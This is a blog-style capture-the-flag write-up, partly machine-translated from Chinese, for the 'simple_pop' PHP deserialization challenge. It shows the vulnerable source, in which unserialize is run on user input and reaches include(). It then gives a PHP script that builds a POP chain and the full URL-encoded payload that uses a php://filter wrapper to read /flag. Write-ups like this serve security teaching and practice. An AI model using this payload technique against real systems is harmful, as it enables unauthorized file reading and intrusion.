当前位置:网站首页>BMZCTF simple_ pop
BMZCTF simple_ pop
2022-07-03 04:15:00 【Listen to the snowflakes flying outside】
simple_pop
Open the topic to get the source code
This side is php The test site of pseudo agreement , Need to read useless.php
Decode to get the source code
<?php
class Modifier {
protected $var;
public function append($value){
include($value);//flag.php
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['password'])){
@unserialize($_GET['password']);
}
else{
$a=new Show;
}
?>
This pop The chain is through show Class toString To trigger test Class get Last call Modifier invoke To get flag
<?php
class Modifier
{
protected $var = 'php://filter/convert.base64_encode/resource=/flag';
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p;
}
$m = new Modifier();
$s = new Show();
$t = new Test();
$s -> source = $s;
$s -> str = $t;
$t -> p = $m;
echo urlencode(serialize($s));
structure payload
?password=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A49%3A%22php%3A%2F%2Ffilter%2Fconvert.base64_encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7D
Decode to get flag
边栏推荐
- In Net 6 project using startup cs
- The 10th China Cloud Computing Conference · China Station: looking forward to the trend of science and technology in the next decade
- [set theory] set concept and relationship (true subset | empty set | complete set | power set | number of set elements | power set steps)
- eth入门之简介
- Is it better to speculate in the short term or the medium and long term? Comparative analysis of differences
- Interaction free shell programming
- 2022 Shandong Province safety officer C certificate examination questions and Shandong Province safety officer C certificate simulation examination question bank
- Taking two column waterfall flow as an example, how should we build an array of each column
- Wechat applet + Alibaba IOT platform + Hezhou air724ug built with server version system analysis
- Which Bluetooth headset is good about 400? Four Bluetooth headsets with strong noise reduction are recommended
猜你喜欢
Data Lake three swordsmen -- comparative analysis of delta, Hudi and iceberg
Mila, University of Ottawa | molecular geometry pre training with Se (3) invariant denoising distance matching
JS realizes lazy loading of pictures
Database management tool, querious direct download
The latest analysis of the main principals of hazardous chemical business units in 2022 and the simulated examination questions of the main principals of hazardous chemical business units
[Apple Photo Album push] IMessage group anchor local push
vulnhub HA: Natraj
300+篇文献!一文详解基于Transformer的多模态学习最新进展
Competitive product analysis and writing
2022 P cylinder filling examination content and P cylinder filling practice examination video
随机推荐
nodejs基础:浅聊url和querystring模块
[brush questions] find the number pair distance with the smallest K
2022 beautician (intermediate) new version test questions and beautician (intermediate) certificate examination
105. Detailed introduction of linkage effect realization of SAP ui5 master detail layout mode
sklearn数据预处理
Redraw and reflow
Five elements of user experience
【刷题篇】接雨水(一维)
Two points -leetcode-540 A single element in an ordered array
Cnopendata China Customs Statistics
IPv6 foundation construction experiment
"Designer universe" argument: Data Optimization in the design field is finally reflected in cost, safety and health | chinabrand.com org
JMeter starts from zero (III) -- simple use of regular expressions
2022 Shandong Province safety officer C certificate examination questions and Shandong Province safety officer C certificate simulation examination question bank
[home push IMessage] software installation virtual host rental tothebuddy delay
Arduino application development - LCD display GIF dynamic diagram
深潜Kotlin协程(二十):构建 Flow
Fcpx template: sweet memory electronic photo album photo display animation beautiful memory
中移物联网OneOS与OneNET入选《2021年物联网示范项目名单》
Basic MySQL operations